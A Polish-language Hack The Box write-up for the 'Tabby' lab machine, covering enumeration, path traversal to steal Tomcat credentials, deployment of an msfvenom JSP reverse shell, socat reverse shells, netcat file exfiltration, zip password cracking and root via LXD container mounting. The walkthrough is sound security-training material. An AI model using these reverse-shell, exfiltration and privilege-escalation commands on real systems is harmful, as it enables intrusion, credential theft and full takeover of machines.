[HTB] Tabby

Wstępna enumeracja & punkt zaczepienia

Jak zwykle naszą enumerację zaczniemy od przeskanowania wszystkich portów:

nmap -sV -A -p- -n -Pn -v -T4 -oN nmap/allports.nmap 10.10.10.194

Użyte przełączniki:

  • sV – detekcja usług/wersji na otwartych portach
  • A – uruchamianie agresywnego skanu (skan z wykorzystaniem skryptów, detekcji wersji wykrytych serwisów, detekcji OS oraz wykonanie traceroute)
  • -p- skan wszystkich portów (w naszym przypadku TCP)
  • n – wyłączenie “reverse DNS lookup”
  • Pn – skan bez pingowania (zakładamy, że host jest dostępny)
  • v – włączenie tzw. “verbosity”
  • T4 – przyśpieszenie skanowania (niestety kosztem większej wykrywalności)
  • oN – zapis wyniku do pliku

Wynik:

Nmap scan report for 10.10.10.194
Host is up (0.061s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|http-favicon: Unknown favicon MD5: 338ABBB5EA8D80B9869555ECA253D49D 
| http-methods: 
| Supported Methods: GET HEAD POST OPTIONS
|http-server-header: Apache/2.4.41 (Ubuntu) 
|_http-title: Mega Hosting 
8080/tcp open http Apache Tomcat 
| http-methods: | Supported Methods: OPTIONS GET HEAD POST
|_http-title: Apache Tomcat
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).

Na podstawie wyniku możemy stwierdzić, że na maszynie są uruchomione serwery webowe: Apache oraz Apache Tomcat. Prawdopodobnie próba eksploitacji będzie opierała się na znalezieniu luki w wyżej wymienionych serwerach.

Enumeracja dostępnych ścieżek na serwerach:

gobuster dir -u http://10.10.10.194 -w /usr/share/wordlists/dirb/common.txt -s 200,301,302 -x php,txt,html,old,bak -o gobuster_80.txt
gobuster dir -u http://10.10.10.194:8080 -w /usr/share/wordlists/dirb/common.txt -s 200,301,302 -x php,txt,html,old,bak -o gobuster_8080.txt
  • u – URL do przeskanowania
  • w – słownik użyty do przeskanowania
  • s – wyświetl tylko wyniki w przypadku zwrócenia kodu 200,301,302
  • x – skanuj w poszukiwaniu zdefiniowanych rozszerzeń
  • o – zapisz wynik do pliku

Wyniki kolejno:

Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@FireFart)
[+] Url: http://10.10.10.194
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Status codes: 200,301,302
[+] User Agent: gobuster/3.0.1
[+] Extensions: old,bak,php,txt,html
[+] Timeout: 10s
2020/08/27 14:49:28 Starting gobuster
/assets (Status: 301)
/favicon.ico (Status: 200)
/files (Status: 301)
/index.php (Status: 200)
/index.php (Status: 200)
/news.php (Status: 200)
/Readme.txt (Status: 200)
2020/08/27 14:51:26 Finished
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@FireFart)
[+] Url: http://10.10.10.194:8080
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Status codes: 200,301,302
[+] User Agent: gobuster/3.0.1
[+] Extensions: php,txt,html,old,bak
[+] Timeout: 10s
2020/08/27 14:50:39 Starting gobuster
/docs (Status: 302)
/examples (Status: 302)
/host-manager (Status: 302)
/index.html (Status: 200)
/index.html (Status: 200)
/manager (Status: 302)
2020/08/27 14:52:36 Finished

Ścieżki /manager oraz /host-manager to defaultowe ścieżki do panelu logowania na serwer Apache Tomcat. Wchodząc na stronę startową, można również zauważyć, że wersja Tomcata to 9. Przeprowadziłem atak słownikowy na panel logowania z wykorzystaniem modułu Metasploita:

msf5 > use auxiliary/scanner/http/tomcat_mgr_login
msf5 auxiliary(scanner/http/tomcat_mgr_login) > set rhosts 10.10.10.194
rhosts => 10.10.10.194
msf5 auxiliary(scanner/http/tomcat_mgr_login) > set rport 8080
rport => 8080
msf5 auxiliary(scanner/http/tomcat_mgr_login) > run

Jednakże bezskutecznie. Po przestudiowaniu materiału oraz zainstalowaniu Apache Tomcat lokalnie na Kalim moje poszukiwania skupiły się wokół znalezienia metody jak odczytać plik tomcat-users.xml, który zawiera login i hasło użytkownika.

Po bezskutecznych próbach, swoją uwagę zwróciłem na web server na porcie 80. Odkryłem, że na podstronie /news.php możemy skutecznie przeprowadzić atak Path Traversal. Manipulujemy zatem zapytaniami http:

Wykorzystując tą podatność możemy odczytać plik z credentialami tomcat-users.xml. Po przestudiowaniu masy artykułów na temat domyślnego położenia tego pliku na hoście, w końcu znalazłem odpowiednią ścieżkę (po godzinach spędzonych na fuzzingu….):

Zapisujemy użytkownika oraz hasło.

Następnym krokiem było wygenerowanie reverse-shella oraz osadzenie go na atakowanym serwerze.

Generowanie payloadu:

$ msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT=1234 -f war > shell.war

W tym momencie napotykamy na pewne utrudnienie. Otóż nasz użytkownik nie ma ustawionej roli: manager-gui. Dlatego nie możemy zalogować się na interfejs webowy.

W takim wrazie do uploadu złośliwego pliku wykorzystamy narzędzie curl:

$ curl -u 'tomcat':'$3cureP4s5w0rd123!' -T shell.war 'http://10.10.10.194:8080/manager/text/deploy?path=/shell&update=true'
OK - Deployed application at context path [/shell]

Wchodzimy na adres:

http://10.10.10.194:8080/shell

i otrzymujemy połączenie zwrotne:

$ nc -nlvp 1234
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 10.10.10.194.
Ncat: Connection from 10.10.10.194:47178.
id; hostname
uid=997(tomcat) gid=997(tomcat) groups=997(tomcat)
tabby

Mamy dostęp do maszyny jako nisko uprzywilejowany użytkownik!

Zdobycie uprawnień usera

Po pierwsze zrobimy spawning w pełni interaktywnego shella. Do tego posłuży nam socat. Przenosimy socata na atakowaną maszynę i zestawiamy połączenie:

Na Kalim:

socat file:`tty`,raw,echo=0 tcp-listen:4444

Na atakowanej maszynie:

./socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:<myip>:4444

Otrzymujemy połączenie zwrotne z interaktywną powłoką:

$ socat file:tty,raw,echo=0 tcp-listen:4444
tomcat@tabby:/tmp$ id
uid=997(tomcat) gid=997(tomcat) groups=997(tomcat)

Sporo czasu zajęła mi eksploracja maszyny. Po sprawdzeniu połączeń sieciowych, wykonaniu skryptów enumeracyjnych oraz przejrzeniu uruchomionych procesów natknąłem się na ciekawy plik:

tomcat@tabby:/var/www/html/files$ ls -la
total 36
drwxr-xr-x 4 ash ash 4096 Jun 17 21:59 .
drwxr-xr-x 4 root root 4096 Jun 17 16:24 ..
-rw-r--r-- 1 ash ash 8716 Jun 16 13:42 16162020_backup.zip
drwxr-xr-x 2 root root 4096 Jun 16 20:13 archive
drwxr-xr-x 2 root root 4096 Jun 16 20:13 revoked_certs
-rw-r--r-- 1 root root 6507 Jun 16 11:25 statement

Pobierzmy plik na Kaliego z wykorzystaniem narzędzia netcat:

Na maszynie atakowanej:

$ nc -w 3 <myip> 5555 < 16162020_backup.zip

Na Kalim:

$ nc -l -p 5555 > backup.zip
$ ls | grep backup.zip
backup.zip

Okazało się, że plik jest zabezpieczony hasłem. W tym miejscu z pomocą przychodzi nam narzędzie fcrackzip:

$ fcrackzip -u -D -p '/usr/share/wordlists/rockyou.txt' backup.zip
PASSWORD FOUND!!!!: pw == admin@it

Mamy hasło!!! Jednak po rozpakowaniu paczki nic ciekawego tam nie znaleźliśmy……

Po kilku godzinach głowenia się, okazało się, że czasami najprostsze rozwiązania są najlepsze:

tomcat@tabby:/var/www/html/files$ su ash
Password:
ash@tabby:/var/www/html/files$ id
uid=1000(ash) gid=1000(ash) groups=1000(ash),4(adm),24(cdrom),30(dip),46(plugdev),116(lxd)

Wystarczyło przelogować się na użytkownika, wcześniej zdobytym hasłem.

Zdobycie uprawnień roota

Pierwsze co rzuca się w oczy przy eskalacji uprawnień to to że nasz użytkownik należy do wielu niestandardowych grup.

Uruchomiłem skrypt enumeracyjny LinEnum.sh i dostałem ciekawy wynik:

[+] We're a member of the (lxd) group - could possibly misuse these rights!
uid=1000(ash) gid=1000(ash) groups=1000(ash),4(adm),24(cdrom),30(dip),46(plugdev),116(lxd)

Przesukałem więc internet w poszukiwaniu dostępnych artykułów na ten temat i znalazłem prawdziwą perełkę 🙂

Artykuł opisuje, w jaki sposób konto w systemie, które jest członkiem grupy lxd, może zwiększyć uprawnienia do roota, wykorzystując funkcje LXD.

Zabrałem się do roboty.

Na Kali pobrałem lxd-alpine builder oraz uruchomiłem (ważne by zrobić to z uprawnieniami roota):

$ git clone  https://github.com/saghul/lxd-alpine-builder.git
cd lxd-alpine-builder
$ ./build-alpine

Wynikeim jest paczka alpine.

# ls -la
razem 3168
drwxr-xr-x 3 mateusz mateusz 4096 sie 27 09:31 .
drwxr-xr-x 5 mateusz mateusz 4096 sie 27 09:27 ..
-rw-r--r-- 1 root root 3187452 sie 27 09:31 alpine-v3.12-x86_64-20200827_0931.tar.gz
-rwxr-xr-x 1 mateusz mateusz 7498 sie 27 09:27 build-alpine
drwxr-xr-x 8 mateusz mateusz 4096 sie 27 09:27 .git
-rw-r--r-- 1 mateusz mateusz 26530 sie 27 09:27 LICENSE
-rw-r--r-- 1 mateusz mateusz 768 sie 27 09:27 README.md

Uruchomiłem serwer http i przeniosłem wygenerowaną na atakowaną maszynę.

# python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 …
10.10.10.194 - - [27/Aug/2020 17:22:02] "GET /alpine-v3.12-x86_64-20200827_0931.tar.gz HTTP/1.1" 200 -
$ wget <myip>:8000/alpine-v3.12-x86_64-20200827_0931.tar.gz

Następnie zgodnie z artykułem wykonałem następujące komendy:

Na początku zainicjalizowałem proces LXD:

ash@tabby:~$ lxd init
Would you like to use LXD clustering? (yes/no) [default=no]:
Do you want to configure a new storage pool? (yes/no) [default=yes]:
Name of the new storage pool [default=default]:
Name of the storage backend to use (lvm, ceph, btrfs, dir) [default=btrfs]: dir
Would you like to connect to a MAAS server? (yes/no) [default=no]:
Would you like to create a new local network bridge? (yes/no) [default=yes]:
What should the new bridge be called? [default=lxdbr0]:
What IPv4 address should be used? (CIDR subnet notation, “auto” or “none”) [default=auto]:
What IPv6 address should be used? (CIDR subnet notation, “auto” or “none”) [default=auto]:
Would you like LXD to be available over the network? (yes/no) [default=no]:
Would you like stale cached images to be updated automatically? (yes/no) [default=yes]
Would you like a YAML "lxd init" preseed to be printed? (yes/no) [default=no]:

Następnie zabrałem się za eskalację uprawnień:

ash@tabby:~$ lxc image import ./alpine-v3.12-x86_64-20200827_0931.tar.gz --alias myimage
ash@tabby:~$ lxc image list
+---------+--------------+--------+-------------------------------+--------------+-----------+--------+------------------------------+
| ALIAS | FINGERPRINT | PUBLIC | DESCRIPTION | ARCHITECTURE | TYPE | SIZE | UPLOAD DATE |
+---------+--------------+--------+-------------------------------+--------------+-----------+--------+------------------------------+
| myimage | a30c4e462831 | no | alpine v3.12 (20200827_09:31) | x86_64 | CONTAINER | 3.04MB | Aug 27, 2020 at 3:41pm (UTC) |
+---------+--------------+--------+-------------------------------+--------------+-----------+--------+------------------------------+
ash@tabby:~$ lxc init myimage ignite -c security.privileged=true
Creating ignite
ash@tabby:~$ lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true
Device mydevice added to ignite
ash@tabby:~$ lxc start ignite
ash@tabby:~$ lxc exec ignite /bin/sh
~ # id
uid=0(root) gid=0(root)

W taki oto sposób stworzyliśmy kontener z uprawnieniami roota, który zawiera wszystkie pliki hostującej go maszyny! Jest to jednoznaczne z uzyskaniem uprawnień roota na maszynie:

~ # cd /mnt/root/root
/mnt/root/root # ls
root.txt snap